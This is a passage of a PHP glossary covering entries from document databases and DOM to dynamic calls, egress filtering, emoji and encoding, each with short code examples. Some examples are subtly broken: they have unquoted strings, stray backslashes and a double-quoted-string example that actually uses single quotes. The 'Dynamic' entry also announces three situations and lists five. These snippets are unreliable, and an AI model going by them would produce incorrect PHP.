Document databases are well suited to hierarchical or varying-structure data, but lack the relational joins and strict consistency guarantees of SQL databases.
<?php
// MongoDB PHP driver example
$client = new MongoDB\Client('mongodb://localhost:27017');
$collection = $client->mydb->users;
$collection->insertOne([
'name' => 'Alice',
'email' => 'alice@example.com',
'roles' => ['admin', 'editor'],
]);
$user = $collection->findOne(['name' => 'Alice']);
echo $user['email'];
?>
See Also
Related
- Nosql Database
- Database
- SQL Database
- Key-value Stores
- JavaScript Object Notation (JSON)
- Extensible Markup Language (XML)
- Schema
Related packages
Documentation
Documentation refers to the written material that describes a software project, its components, functionality, architecture, and usage. It serves as a reference guide for developers, testers, and users, ensuring clarity, consistency, and maintainability of the software.
Documentation may be categorized in four groups: tutorials, how-to guides, technical reference and explanation.
The PHP documentation is also called the PHP Manual. It is a reference documentation.
See Also
Related
- PHP Manual
- Tutorial
- Technical Reference
- Explanation
- C2 Framework
- Comments
- Technical Debt
- Docblock
- Maintenability
- Markdown
- Product Requirements Document (PDR)
- Route
Dog Fooding
Dog fooding, or eating your own dog food, is the practice of an organisation using its own product internally, in production conditions, instead of relying only on artificial tests.
Dog fooding surfaces usability issues, missing features, and bugs that would otherwise only be found by external users. It also builds confidence in the product, since the team relies on it for its own work.
For example, the PHP website is written with the PHP language.
See Also
Related
Dollar $
$ is character, used in various situations:
- As the first character of a variable
- As an operator, for variable variables.
When associated, PHP and $ often leads to the conversion rate of dollars to Philippine Pesos.
<?php
$a = 'b';
$b = 'c';
echo $$a; // 'c'
echo $\{$a}; // C
?>
See Also
Related
Document Object Model (DOM)
The Document Object Model, also called DOM, is a programming interface for HTML and XML documents. It represents the document as a tree of nodes that can be traversed, queried, and modified.
PHP provides the dom extension, which implements the W3C DOM specification via classes such as DOMDocument, DOMElement, DOMNode, DOMXPath, and DOMNodeList.
PHP 8.4 introduced Dom\HTMLDocument and Dom\XMLDocument as improved, spec-compliant replacements for the legacy DOMDocument, with better error handling and HTML5 parsing.
<?php
$doc = new DOMDocument();
$doc->loadHTML('<p class="greeting">Hello, <strong>world</strong></p>');
$xpath = new DOMXPath($doc);
$nodes = $xpath->query('//p[@class="greeting"]/strong');
foreach ($nodes as $node) {
echo $node->textContent; // world
}
?>
See Also
Related
- Extensible Markup Language (XML)
- HyperText Markup Language (HTML)
- DOM
- SimpleXML
- XMLReader
- XMLwriter
- Javascript
- DOMChildNode
- DOMParentNode
- Scalable Vector Graphics (SVG)
Domain Name
A domain name is a human-readable label that identifies a network resource, such as a web server. It is mapped to an IP address through the Domain Name System DNS.
Domain names appear in URLs, are parsed with parse_url(), and validated with the filter extension using FILTER_VALIDATE_DOMAIN.
<?php
$host = parse_url('https://www.example.com/path', PHP_URL_HOST);
// $host = 'www.example.com'
$isValid = filter_var('example.com', FILTER_VALIDATE_DOMAIN);
?>
See Also
Related
- Universal Resource Locator (URL)
- Domain Name System (DNS)
- Hyper Text Transfer Protocol (HTTP)
- parse_url()
- Domain
- SplSubject
Domain
In software development, a domain is a sphere of knowledge or activity that a system is designed to model. Domain-Driven Design, DDD, organises code around domains, using domain models to represent business concepts faithfully.
A domain is the core subject of the application: e-commerce, banking, healthcare, etc. The domain model captures the rules, entities, and behaviours that belong to that subject.
See Also
Related
- Domain Design Driven (DDD)
- Namespaces
- Domain Name
- Business Logic
- Domain Name System (DNS)
- SplSubject
DomainException
Exception thrown if a value does not adhere to a defined valid data domain. For example, it might be an invalid value for a class property and not its type.
<?php
function renderImage($imageResource, $imageType)
{
switch ($imageType) {
case 'jpg':
case 'jpeg':
header('Content-type: image/jpeg');
imagejpeg($imageResource);
break;
case 'png':
header('Content-type: image/png');
imagepng($imageResource);
break;
default:
throw new DomainException('Unknown image type: ' . $imageType);
break;
}
imagedestroy($imageResource);
}
?>
See Also
Related
DOMChildNode
DOMChildNode is an interface introduced in version 8.0 for DOM nodes that can have siblings. It is implemented by DOMElement, DOMText, DOMComment, DOMProcessingInstruction, and DOMDocumentType.
It provides before() and after() to insert nodes adjacent to the current node, replaceWith() to replace it, and remove() to detach it from its parent.
<?php
$dom = new DOMDocument;
$dom->loadHTML('<p>Hello <b>world</b></p>');
$b = $dom->getElementsByTagName('b')->item(0);
$b->remove();
?>
See Also
Related
DOMParentNode
DOMParentNode is an interface introduced in version 8.0 for DOM nodes that can have children. It is implemented by DOMDocument, DOMElement, and DOMDocumentFragment.
It provides prepend() and append() methods to insert nodes as first or last children, and childElementCount, firstElementChild, lastElementChild properties.
<?php
$dom = new DOMDocument;
$dom->loadHTML('<p>Hello</p>');
$p = $dom->getElementsByTagName('p')->item(0);
$p->append($dom->createTextNode(' world'));
?>
See Also
Related
DOM
The DOM extension is an extension that allows developers to work with XML documents using the Document Object Model, DOM, API. It provides a set of classes and functions to parse, manipulate, and generate XML documents.
The DOM extension provides a tree-based representation of an XML document, where each element, attribute, and text node is represented as an object. This allows developers to traverse and manipulate the XML document easily.
<?php
// from PHP manual : https://www.php.net/manual/en/class.domcomment.php
$xml = new DOMDocument();
$xml->loadXML('<?xml version=\1.0\ encoding=\utf-8\?>
<configuration version=\2\>
<!-- test --> -->
test -->
</configuration>'
);
$xpath = new DOMXPath($xml);
$comments = $xpath->query('//comment()');
$elements = $xpath->query('//configuration');
echo $comments[0]->textContent;
// result: test -->
echo $elements[0]->textContent;
// result: test -->
?>
See Also
Related
. Directory
The . directory represents the current directory. It is useful to designate the current directory, and apply an operation on all the files in that directory. It is also used in php.ini directives, to indicate a path relative to the current directory.
<?php
// lists of the files in the current directory
$files = glob('./*.php');
?>
See Also
Related
Dot-dot Directory ..
The .. directory represents the parent directory of the current one. This directory always exists, at the root directory, aka /, which is also its own parent.
<?php
// lists of the files in the parent directory
$files = glob('../*.php');
?>
See Also
Related
. File
The . files are files whose name start with a dot. By convention, they are considered hidden files, and are not listed when scanning a directory. Otherwise, they may be files or directories: .env, .ssh, .git, etc.
<?php
// files
$files = glob('./*');
// hidden files
$files = glob('./.*');
?>
See Also
Related
Dot Notation
The dot notation refers to a syntax to access deeply-nested elements in arrays. Instead of repeating the classic [index] notation, dot notation offers a way to chain the indices with dots to reach the value.
Dot notation is easier to read, in particular when there are numerous elements.
Dot notation is not a PHP native feature. It is available via independent packages or as a feature of frameworks.
<?php
// example from https://github.com/adbario/php-dot-notation
$array['info']['home']['address'] = 'Kings Square';
echo $array['info']['home']['address'];
// Kings Square
$dot->set('info.home.address', 'Kings Square');
echo $dot->get('info.home.address');
?>
See Also
Related
Related packages
Double Arrow
The double arrow is the PHP token =>. It is an arrow, and the equal sign as body of the arrow gives it its name of double arrow.
The double arrow is used in several situations:
- With arrow functions:
fn($a) => $a + 1; - In arrays, to distinguish the key from the value:
['a' => 3] - In list, to distinguish the key from the value:
['a' => $b] = ['a' => 4] - In yield, to distinguish the key from the value:
yield 'a' => $b; - In property hooks, to start the body of the hook:
private $p { get => $this->p; }
=> has no relationship with <=, which is a comparison operator, nor with ->, which is the object operator.
<?php
$array = ['a' => 3, 3];
?>
See Also
Related
Double Check
A double check happens when the same characteristics is checked twice.
Double check evolve naturally from code that does not take into account the entire system it is residing in.
Double check may be explicit, or implicit. The explicit are plainly written in the code, while implicit double check requires context knowledge.
Double checks are a feature of defensive programming, where everything is checked as needed, to ensure that a previous omission does not go unchecked, even at the cost of effort duplication.
<?php
// This condition is a double check with the one inside the function trumpet()
// This doublecheck uses 2 identical conditions, with different syntax
if ($j >= 0) {
trumpet($j);
}
function trumpet(int $i): ?int {
if ($i < 0) {
return null;
}
return $i + 1;
}
// Foreach() checks for $items to be empty, and skips itself in that case.
// the empty() check is duplicate
if (!empty($items)) {
foreach ($items as $item) {
doSomething();
}
}
?>
See Also
Related
Double Quotes Strings
Double quoted strings are strings, similar to the single quoted strings. They are also able to interpolate variables, properties and arrays, which are included at execution time.
Double quoted strings do not interpolate constants.
Double quoted strings support escape sequences, such as u{1F3c} or \n.
This is an extended version of the single-quoted strings. They are similar to the heredoc syntax.
<?php
// single quoted string : all literal values
$name = 'Elephpant loves $signs.';
// single quoted string : all literal values
$signs = 'PHP';
$name = 'Elephpant loves $signs.'; // Elephpant loves PHP
echo "\u{01f418}"; // escape sequence of an elephant
?>
See Also
Related
Double
Double usually means that something is repeated once.
Double is opposed to single, but it may also be distinct with any other number of repetition, such as triple, quadruple, etc.
Things that may be double:
- Double quotes
" - Double equal
==, not to be confused with the single equal=or the triple one=== - Double colon
::, the static resolution operator - Double plus
++and minus--, also called plus plus or minus minus, as post-increment and pre-increment operators - Double star
**, or exponentiation operator - Double question mark
??, or coalesce operator - Double also refers to float or decimal point numbers.
<?php
$a = 1;
$a == 1; // true
$a === 1; // true too.
?>
See Also
Related
- Double Quotes Strings
- Floating Point Numbers
- Single
- Triple
- Post-increment
- Pre-increment
- Coalesce Operator
- Exponent
- Scope Resolution Operator ::
Downtime
Downtime represents periods where a service is not available.
Downtime may be unexpected, such as a bug, an attack on the server, or an unforeseen situation. It may be planned, such as a maintenance upgrade.
See Also
Related
Drop-in
A drop-in replacement is a library or a component which replaces entirely a previous one. It may add new features, but it does not break anything that was previously working.
See Also
Related
Don’t Repeat Yourself (DRY)
Don’t repeat yourself, or DRY, is a principle of software development aimed at reducing repetition of software patterns.
The concept was coined in Andy Hunt and Dave Thomas’s book The Pragmatic Programmer, in 1999.
This principle is also known as Duplication Is Evil, or DIE. Its nemesis is WET. It means write everything twice.
See Also
Related
- Write Everything Twice (WET)
- SOLID
- Centralization
- KISS
- Tech Island
- You Are Not Going To Need It (YAGNI)
Data Structure
Data Structures, is a PHP extension which provides efficient data structures, provided as an alternative to the array. It is available since PHP 7.
In particular, it provides the following structures:
- Collection
- Sequence
- Vector
- Deque
- Map
- Pair
- Set
- Stack
- Queue
- PriorityQueue.
<?php
$stack = [];
$stack[] = first;
$stack[] = second;
// same as array_push($stack, second);
echo array_pop($stack); // Outputs: second
?>
See Also
Related
Data Source Name (DSN)
A DSN is a string that describes a database location and access.
The format of a DSN is usually specified by the target database. For example:
- MySQL: ‘mysql:host=localhost;dbname=test’
- Oracle: ‘oci:dbname=//localhost:1521/mydb’
- PostgreSQL: ‘pgsql:host=localhost;port=5432;dbname=testdb;user=bruce;password=mypass’
- SQLite: ‘sqlite:/opt/databases/mydb.sq3’
DSN is closely related to the PDO extension.
<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
?>
See Also
Related
Data Transfer Object (DTO)
DTO stands for Data Transfer Object. It is an object that carries data between methods and different part of the architecture.
DTO is a class, with only properties. It replaces advantageously arrays. It may be used for typing, and do not hold methods.
DTO are easily confused with Value Object: the first one’s role is to carry data inside the application, the second one holds data, and can only be compared by its values.
See Also
- Data Transfer Object V3 Modernizes DTOs With PHP 8 Features
- Is it a DTO or a Value Object?
- How I built Tjommi
Related
- Value Object (VO)
- Domain Design Driven (DDD)
- Plain Old PHP Object (POPO)
- Value Object
- Mass Assignment
Duck Typing
In duck typing, an object is of a given type if it has all methods and properties required by that type.
It is described by this sentence: ‘If it walks like a duck and it quacks like a duck, then it must be a duck’.
This may apply to a class that offers a set of methods, that are listed in an interface, but the class doesn’t implement explicitly that interface.
<?php
interface Trumpets {
function trumpet() ;
}
// class Elephpant doesn't implement Trumpets, yet it is of type Trumpets because it implements trumpet()
class Elephpant {
function trumpet() {}
function forage() {}
}
?>
See Also
Related
Duplicate
There are things that PHP does not accept as duplicate:
- Duplicate type %s is redundant
- Duplicate named parameter $%s
- Duplicate value in enum %s for cases %s and %s
- Duplicate declaration of static variable $%s.
See Also
Related
Duration
The Time\Duration class is a PHP 8.6 addition that represents a measurable amount of time, such as a timeout, a delay or an elapsed period. It is a final readonly class that stores seconds and nanoseconds, so it is precise to the nanosecond.
Duration is meant for stopwatch-style time. It is different from DateInterval, which suits calendar arithmetic such as one calendar month later.
Instances are created with static factory methods: fromSeconds(), fromNanoseconds(), fromMicroseconds(), fromMilliseconds(), fromMinutes(), fromHours(), and fromIso8601DurationString() for ISO 8601 strings such as PT1H30M. The single-value factories reject negative input.
Arithmetic returns a new instance: add(), sub(), multiplyBy(), divideBy(), negate() and absolute(). divideBy() truncates fractional nanoseconds. Duration::compare() returns -1, 0 or 1, and it is used by usort(). The < and related comparison operators work too.
The public properties are seconds, nanoseconds and negative. Operations that overflow the range throw Time\TimeException, which extends Exception.
<?php
use Time\Duration;
$oneSecond = Duration::fromSeconds(1);
$halfSecond = $oneSecond->divideBy(2);
$onePointFiveSeconds = $oneSecond->add($halfSecond);
$baseDelay = Duration::fromMilliseconds(100);
$attempt = 5;
$delay = $baseDelay->multiplyBy(2 ** $attempt); // 3.2 seconds
$durations = [$oneSecond, $onePointFiveSeconds, $halfSecond];
usort($durations, Duration::compare(...)); // 0.5s, 1s, 1.5s
?>
See Also
Related
Dynamic Call
A dynamic call happens when part of the syntax comes from a variable, and is not known at code writing time.
PHP allows every syntax to be used as a dynamic call.
<?php
$constant = 'Name';
echo constant($constant);
echo constant("someClass::$constant");
$variable = 'a';
$a = 'b';
echo $$variable; // b
$function = 'mine';
$function($arg);
$className = '\stdclass';
new $className;
$method = 'method';
$object->$method();
echo $object::CONSTANT;
?>
See Also
Related
Dynamic Class Constant
Dynamic class constant access has always been possible with a call to the constant() function. With the class::constant syntax, it is possible to reach any visible constant, or, also, enumeration cases.
A new syntax is available since version 8.3 to do the same: class::{$name}. The curly braces are important in that call.
<?php
enum E: string {
case A = 'abc';
const B = 'def';
}
$name = 'E::A';
echo constant($name)->value;
// PHP 8.3+
echo E::{$name}->value;
$name = 'E::B';
echo constant($name);
// PHP 8.3+
echo E::{$name};
?>
See Also
Related
Dynamic Class
A dynamic class is a class whose fully qualified name is defined at execution time.
This is convenient for module systems, where the actual class is named from an external configuration.
The name of the class is a string. It may be also accessed with the ::class operator.
For a dynamic call, the name of the class may or may not start with a \ char: both cases work.
Dynamic class may be used with static calls, class constants, enum cases, static method or static property. Here, the call is static, as it actually does not depends on the object, but on the class of the object.
It may also be used with the instantiation operator new.
It is also possible to use an object of the same class for all these calls.
<?php
class AB {}
class AC {}
$name = '\A'.(rand(0, 1) ? 'B' : 'C');
$object = new $name; // creates a class of AB or AC
$object2 = new $object; // creates another object of AB or AC, same as $object
?>
See Also
Related
Dynamic Constant
A constant is dynamic when its name is in a variable, or another container, and is accessed at execution time.
Reaching a constant’s value is done by using the constant() function, or the dynamic constant fetch with classes.
Sometimes, dynamic constants are also called variable constants.
<?php
const A = 1;
// simple case
$a = 'A';
echo constant($a); // displays 1
// with leading backslash
$b = '\A';
echo constant($b); // displays 1
// definition has no leading backslash
define('B\C', d);
// reading has no leading backslash, or not
$c = '\b\C';
echo constant($c); // displays d
$c = 'b\C';
echo constant($c); // displays d
// constant() works also on class constants.
class D {
const E = 'f';
}
echo constant('d::E'); // displays f
// dynamic constant access on classes or enumeration
$k = 'E';
echo D::{$k}; // f
// constant works also on enumeration cases
enum I: string {
case G = 'h';
}
echo constant('I::G')->value; // displays h
// dynamic constant access on classes or enumeration
$g = 'G';
echo I::{$g}->value; // h
?>
See Also
Related
Dynamic Expression
A dynamic expression is an expression that is only wholly defined at execution time. It needs to collect pieces of information before processing. This applies to elements that are usually static, such as class, function, method, constants, not to parameters which are expected to be variable.
<?php
$config = new ConfigFile();
$function = $config->sortingMethod; // sort, or rsort
$function($array);
?>
See Also
Related
Dynamic Loading
Dynamic Loading is related to the loading of PHP extensions, at execution time.
Most of the time, the extensions are compiled with PHP, and loaded at startup. For development purposes, or for distribution purposes, some libraries may be loaded at execution time, with the dl() function.
dl() calls are considered bad for performances and for security.
<?php
// add extra features to PHP
dl('ldap.so');
?>
See Also
Related
Dynamic Method
A dynamic method is a method which is defined at execution time.
This is convenient for module systems or SOAP clients, where the actual methods are defined at the remote server.
PHP calls this overloading.
<?php
class Elephpant {
function __call($name, $args) {
if ($name === 'trumpet') {
echo 'OK';
return;
}
if ($name === 'forage') {
echo 'OK';
return;
}
echo 'KO';
}
}
$elephpant = new Elephpant;
$elephpant->trumpet(); // OK
$elephpant->forage(); // OK
$elephpant->fly(); // KO
?>
See Also
Related
Dynamic Properties
Dynamic properties are properties created on the fly, without previous definition.
When the class implements the magic methods __get() and __set(), of if the class extends stdClass, then no warning is emitted.
<?php
class Elephpant {
private $property = 1;
function trumpet() {
// dynamic property
$this->a = 1;
// dynamic property with variable name
$b = 'abc';
$this->$b = 1;
// static property
$this->property = 1;
}
}
?>
See Also
Related
Dynamic Variable
A dynamic variable is a variable whose name stored in a variable or an expression.
They are identified by a double $ sign, though the same operator may be used multiple times.
They are also called variable variable.
<?php
$a = 'b';
$b = 'c';
$c = 'd';
echo $$$a;
echo $$b;
echo $c;
?>
See Also
Related
Dynamic
Dynamic is a common concept, and may be used in three distinct situations:
- Dynamic call, to call a function or method whose name is in a variable
- Dynamic constant, to call a constant whose name is in a variable
- Dynamic property, to access a property whose name is in a variable
- Dynamic loading, for PHP to load an extension after the start of execution
- Dynamic variable, to access a variable whose name is in another variable.
<?php
// Dynamic call of a variable
$a = K;
$tusk = 'a';
echo $$tusk; // K
const A = 1;
$name = 'A';
echo constant($name); // 1
?>
See Also
Related
- Dynamic Call
- Dynamic Constant
- Dynamic Properties
- Dynamic Loading
- Dynamic Variable
- Variable Variables
- static
- Dynamic Class Constant
- Dynamic Method
E
The letter e, or E, plays several distinct roles:
- Floating number format:
eis used as part of a float literal to denote a power of 10.1.5e3means1.5 × 10³ = 1500, and7E-10means7 × 10⁻¹⁰. The letter is case-insensitive in this context. It is not an operator; it is part of the numeric syntax - Exponential constant:
M_Eis a PHP predefined math constant equal to Euler’s numbere ≈ 2.718281828459045. It is the base of the natural logarithm, and satisfieslog(M_E) === 1. The functionexp(1)also returns this value, although floating-point rounding meansexp(1) === M_Emay evaluate tofalse - Euler constant:
M_EULERis a distinct PHP constant, equal to the Euler constantγ ≈ 0.5772156649015329. It is also called Euler-Mascheroni, or gamma. It should not be confused withM_E - Error constant prefix: all PHP error level constants start with
E_:E_ERROR,E_WARNING,E_NOTICE,E_DEPRECATED,E_ALL, and others. They are used witherror_reporting()and combined with bitwise operators - Escape sequence for escape character: in double-quoted strings and heredocs,
\eis the escape sequence for the ESC character, ASCII 27,0x1B. It is used in ANSI terminal escape codes.
<?php
// e in float scientific notation
$a = 1.5e3; // 1500.0
$b = 7E-10; // 0.0000000007
$c = 1e308; // close to PHP_FLOAT_MAX
// M_E : Euler's number
echo M_E; // 2.718281828459
echo exp(1); // 2.718281828459
echo log(M_E); // 1
// M_EULER : Euler-Mascheroni constant (different from M_E)
echo M_EULER; // 0.57721566490153
// E_ error level constants
error_reporting(E_ALL);
error_reporting(E_ERROR | E_WARNING);
// \e escape sequence : ESC character for ANSI terminal codes
echo "\e[31mRed text\e[0m\n";
?>
See Also
Related
- Floating Point Numbers
- Exponential
- Logarithm
- Not A Number (NAN)
- INF
- Error Reporting
- Escape Sequences
- Exponent
each
each() was a native function, that would yield each element in an array. It was used in while() loops, to traverse lists.
It was deprecated during PHP 7.x and it is completely removed in version 8.0.
The classic while(list($key, $value) = each($array) structure, shown below, is, nowadays, advantageously replaced by a foreach() loop.
<?php
$array = ['a' => 1, 'b' => 3, 'c' => 5];
while(list($key, $value) = each($array)) {
print $key . ' => ' . $value . PHP_EOL;
}
?>
See Also
Related
Early Binding
Early binding is the feature that makes PHP allow using a class before its declaration, when the declaration is in same file. This is not always true, though, as other mechanisms may .
See Also
Related
Echo Tag
Echo tag is a special PHP opening tag: <?=. It combines the opening tag, and a call to the echo function.
The echo tag should not be confused with PHP short tags <?.
It is also called the short echo tag.
<?php $a = 1; ?><?= $a; ?>
See Also
Related
Echo
echo is a language construct used to output text to the browser or the output stream. It’s commonly used to display content on a web page, generate HTML, or provide feedback to users. The echo construct is often used to generate dynamic content that is sent to the client’s web browser.
echo is a language construct of PHP, not a function: it may be not be used as a callback.
echo works without parenthesis: then, it accepts an arbitrary number of arguments.
<?php
echo 'Hello', ' ', 'world!';
?>
See Also
Related
Ecosystem
The PHP ecosystem refers to the entire environment around the language, made of the tools, communities, innovations, libraries, standards, events, and platforms built around, with and for the programming language.
An active ecosystem is a strong sign of good health for the underlying language.
See Also
Related
Edge Case
An edge case is a situation that occurs at the extreme ends of input, operating conditions, or environment. It requires exceptional conditions to happen, yet it is a possible situation.
<?php
// PHP addition always returns an integer
$integer = 2 + 1;
// adding positive values to PHP_INT_MAX is an edge case
$integer = PHP_INT_MAX + 1;
?>
See Also
Related
Edge Computing
Edge computing, also called compute at the edge, is a distributed computing paradigm that processes data at or near the source: at the network edge, close to the user or device, rather than routing all computation to a centralised data centre. The goal is to reduce latency, bandwidth consumption, and round-trip time.
In web development, the edge typically refers to CDN Points of Presence, PoPs, distributed globally. Logic executed at the edge runs within milliseconds of the end user, avoiding the latency of a transatlantic round trip to an origin server.
PHP at the edge is an emerging area. Cloudflare Workers do not natively support PHP, but experimental projects explore WebAssembly-compiled PHP. FrankenPHP supports edge-style persistent workers. AWS Lambda@Edge runs serverless functions at CloudFront PoPs, and Bref enables PHP on Lambda.
Common edge use cases: A/B testing, personalisation headers, authentication token validation, geo-routing, bot detection, and serving cached responses without hitting the origin.
<?php
// PHP on the edge via AWS Lambda@Edge (using Bref)
// Triggered at CloudFront request/response lifecycle
return function (array $event): array {
$request = $event['Records'][0]['cf']['request'];
$headers = $request['headers'];
// Geo-routing: redirect based on CloudFront-provided country header
$country = $headers['cloudfront-viewer-country'][0]['value'] ?? 'US';
if ($country === 'DE') {
return [
'status' => '302',
'statusDescription' => 'Found',
'headers' => [
'location' => [['key' => 'Location', 'value' => 'https://de.example.com' . $request['uri']]],
],
];
}
return $request; // pass through to origin
};
?>
See Also
Related
- Serverless
- Function-as-a-Service (FaaS)
- Internet of Things (IoT)
- Latency
- Content Delivery Network (CDN)
Edge Triggered
Edge-triggered is an I/O notification mode where the system notifies a watcher only when the stream transitions from not-ready to ready, rather than continuously while the condition holds.
This is the opposite of level-triggered mode: a level-triggered watcher fires on every poll cycle as long as data is available, while an edge-triggered watcher fires exactly once per new arrival. As a consequence, edge-triggered handlers must drain the buffer completely on each notification, or they risk never being notified about the remaining data.
Edge-triggered mode reduces spurious wake-ups and is more efficient under high throughput, but it demands careful implementation. It maps to EPOLLET in the Linux epoll API and to EV_CLEAR in BSD kqueue.
In the future version 8.6, the Io\Poll API exposes edge-triggered behaviour through the Event::EdgeTriggered enum case, which can be combined with Event::Read or Event::Write when adding a watcher to a Context.
<?php
use Io\Poll\Context;
use Io\Poll\Event;
$context = new Context();
// Notify only on state transition, not continuously
$context->add($stream, Event::Read | Event::EdgeTriggered, function ($handle) {
// Must read until fread() returns false or empty string
while ($chunk = fread($handle->stream, 8192)) {
echo $chunk;
}
});
$context->run();
?>
See Also
Related
Effect System
An effect system, sometimes implemented as algebraic effects, is a type-system extension that tracks, in a function’s signature, which side effects it may perform: input/output, mutable state, exceptions, non-determinism, and so on. A function’s type then describes not only its inputs and outputs, but also what it is allowed to do while computing them.
Effect systems let a compiler enforce effect discipline: a function declared as pure cannot secretly perform I/O, and a caller can see, from the signature alone, that a function might throw, block, or write to a file. Effect handlers, found in languages such as Koka, Unison, and OCaml 5, let calling code intercept and reinterpret an effect, similarly to how exception handlers intercept exceptions, but generalized to any tracked effect.
PHP has no effect system. There is no way to declare, in a function’s signature, that it performs no I/O or is otherwise pure; a @throws docblock tag is documentation only, not enforced by the engine. Any function can perform any side effect at any time, and nothing in the type system tracks or restricts it.
See Also
Related
Egress Filtering
Egress filtering, or egress control, is the practice of monitoring and restricting outbound network traffic leaving a server or network, as opposed to ingress filtering, which controls incoming traffic.
Rules are typically enforced at the firewall, proxy or cloud security group level, allowing outbound connections only to known destinations, ports and protocols, and blocking or logging everything else.
For a PHP application, egress filtering is a defense-in-depth measure against Server-Side Request Forgery: even if an attacker manages to make the application issue an outbound request to an internal service or a malicious host, a properly configured egress rule can block the connection before it reaches its target.
Egress filtering also limits the damage of a successful compromise, by preventing a hijacked process from exfiltrating data or reaching a command-and-control server.
See Also
Related
Elephpant
The elephpant is the generic name for the unofficial logo of PHP. It was designed by Vincent Pontier.
Later, it was transformed into a cute plush toy by Damien Seguy.
The name elePHPant is a neologism, and is characteristic of the PHP community. The extra P in the word elephant makes the name of PHP appear, while turning the word into a tongue-twister.
See Also
- elephpant.me
- A field Guide To ElePHPant
- Where can you get an elephpant ?
- The Elephant in the Server Room: Why Is PHP’s Mascot a Pachyderm?
- holly elephpant
- Lego elephpant
Related
Ellipsis
Ellipsis operator is the ... operator. It also bears the name of three dots, and even dot dot dot.
It is used to implements the array spread feature, and the variadic arguments. The actual feature depends on the context.
Ellipsis is the classic punctuation description of the operator, and it applies to both features.
<?php
$array = [1, 2, 3];
$more = [...$array, 4, 5];
?>
See Also
Related
Email, short for electronic mail, is a method of exchanging digital messages between people using electronic devices. These messages can contain text, attachments, images, and other multimedia elements. Email is a widely used communication tool for both personal and professional purposes.
PHP can send emails with the mail() function. PHP doesn’t receive emails, as it requires a server, so it relies on the imap extension.
PHP also offers special filter to validate email addresses, with the filter extension.
<?php
$to = 'destination@example.com';
$subject = 'Test Email';
$message = 'This is a test email.';
// Send the email
mail($to, $subject, $message);
?>
See Also
Related
Related packages
Embed
To embed, or to be embedded, is integrating PHP code into another context, or vice versa.
Traditionally, it is possible to embed PHP inside HTML files: here, PHP embeds HTML. It is also possible to execute PHP code inside other languages, such as Java: in this case, Java embeds PHP.
Embedding usually means that the whole PHP engine is included in another technology: there, it acts as a part of that system. On the other hand, PHP extensions are a way to extend PHP features with other technologies. Here, the relationship is at the feature level, and may be tailored to PHP, rather than simply handing code as text to PHP, and acting upon its returned value.
See Also
Related
Embeddings
Embeddings, or vector embeddings, are numerical representations of data, such as text, images, audio, or video, expressed as vectors of floating-point numbers in a high-dimensional space.
Embeddings are produced by a model, usually a neural network, trained so that data with similar meaning ends up close together in that space, while unrelated data ends up far apart. This makes it possible to compare pieces of data by measuring the distance, or the cosine similarity, between their vectors, instead of comparing the raw data itself.
In applications, embeddings are typically generated by calling an external API, such as an LLM provider, or a local model, then stored and searched in a vector database. They are a core building block of semantic search, recommendation systems, and Retrieval Augmented Generation, RAG.
See Also
Related
- Vector Database
- Retrieval Augmented Generation (RAG)
- Artificial Intelligence (AI)
- Large Language Model (LLM)
Related packages
Emoji
Emojis are small digital images or icons used to express ideas, emotions, objects, or concepts in electronic communication. The word emoji comes from Japanese, combining e, picture and moji, character or letter.
<?php
// Emoji, directly in the string, when the file is also supporting Unicode, like with UTF8
echo "Hello 😊";
// Emoji, with a PHP escape sequence
echo "\u{1F60A}";
// Emoji, with an HTML escape sequence
echo "😊";
?>
See Also
Related
Empty String
The empty string is a string without any content. It may be built with single quotes, double quotes or the Heredoc and NowDoc syntaxes.
The empty string is the neutral element for concatenation: concatenating an empty string to another string does not change the latter.
The empty string may be used as an error report: for example, substr() returns an empty string when the offset is beyond the string range.
The empty string often serves as a default value, for properties and variables.
Comparisons between '' and other falsy values, such as 0, changed with PHP 8.0: it was true and became false.
The empty string is falsy: it is converted to the false boolean when implicit conversion is needed, such as in a condition.
<?php
$emptyString1 = ''; // single quote
$emptyString2 = ""; // double quote
$emptyString3 = <<<STRING
STRING;
$emptyString4 = <<<'STRING'
STRING;
?>
See Also
Related
Empty
Empty is a language structure, which determines whether a variable is empty.
A variable is considered empty if it does not exist or if its value equals false. This may overlap with the usage of isset().
empty() has an error suppression feature, that masks various errors, such as undefined offset or undefined variables. Some other errors, like an invalid type as offset, are still reported.
<?php
// True
var_dump(empty($a));
$b = [];
// True
var_dump(empty($b));
?>
See Also
Related
Enable
To enable is to activate a feature and allow it to perform. For example, using --enable-soap when compiling PHP makes the ext/soap extension available. By default, it is disabled.
To enable implies a permanent state: it is different from a conditional statement.
See Also
Related
Encapsulation
Encapsulation is the practice of bundling data, in properties, and methods that operate on that data into a single unit, a class, while restricting direct access to some of the object’s components.
Encapsulation relies mostly on classes and visibility, to control access to data.
This is a fundamental principle of OOP, promoting security, modularity, and maintainability.
See Also
- Encapsulation in PHP with Example
- mastering encapsulation in php: getters, setters, and access modifiers demystified
Related
Related packages
Encode
To encode is to transform a piece of data, from a human readable format to a specialized format.
The conversion is lossless, and shall be reverted with a decode operation.
<?php
// convert an array to a JSON string
// This is also called 'encoding', and may be decoded
$array = ['a' => 1];
$json = json_encode($array);
$original = json_decode($json);
?>
See Also
Related
Text Encoding
Encoding, or text encoding, is the way characters are organized to hold a meaning while being transmitted, stored or manipulated.
Encoding applies to PHP scripts, which should be UTF-8 encoded, although it might support other formats.
Encoding applies to incoming and outgoing data.
Encoding operations are provided with ext/mbstring, ext/iconv and ext/intl extensions.
Encoding is also used for code: the source is encoded when it is transformed in an unreadable yet still executable form.
Encoding is also called a character set.
<?php
$text = 'This is the Euro symbol €.';
echo 'Original : ', $text, PHP_EOL;
echo 'TRANSLIT : ', iconv('UTF-8', 'ISO-8859-1//TRANSLIT', $text), PHP_EOL;
echo 'IGNORE : ', iconv('UTF-8', 'ISO-8859-1//IGNORE', $text), PHP_EOL;
echo 'Plain : ', iconv('UTF-8', 'ISO-8859-1', $text), PHP_EOL;
?>
See Also
- Useful Encoding and decoding Functions You Need to Know
- Character Encoding for PHP Developers: Unicode, UTF-8 and ASCII
Related
Encoding
Encoding is a generic term, and is used in different places:
- Text encoding, for manipulations with iconv or mbstring
- Declare encoding, with the declare keyword
- HTTP encoding, for input and output operations
Text encoding is the process of converting characters into a specific format that can be stored, processed, or transmitted by computers. Different encodings represent characters as a series of bytes. The default encoding for text is UTF-8, which as the most general usage. Many other encoding exist.
See Also
Related
- declare Encoding
- Text Encoding
- HTTP Encoding
- Iconv
- Multibyte String
- Character
- default_charset
- UTF-8
- Web Hypertext Application Technology Working Group (WHATWG)
- HTML Entity
End To End Test
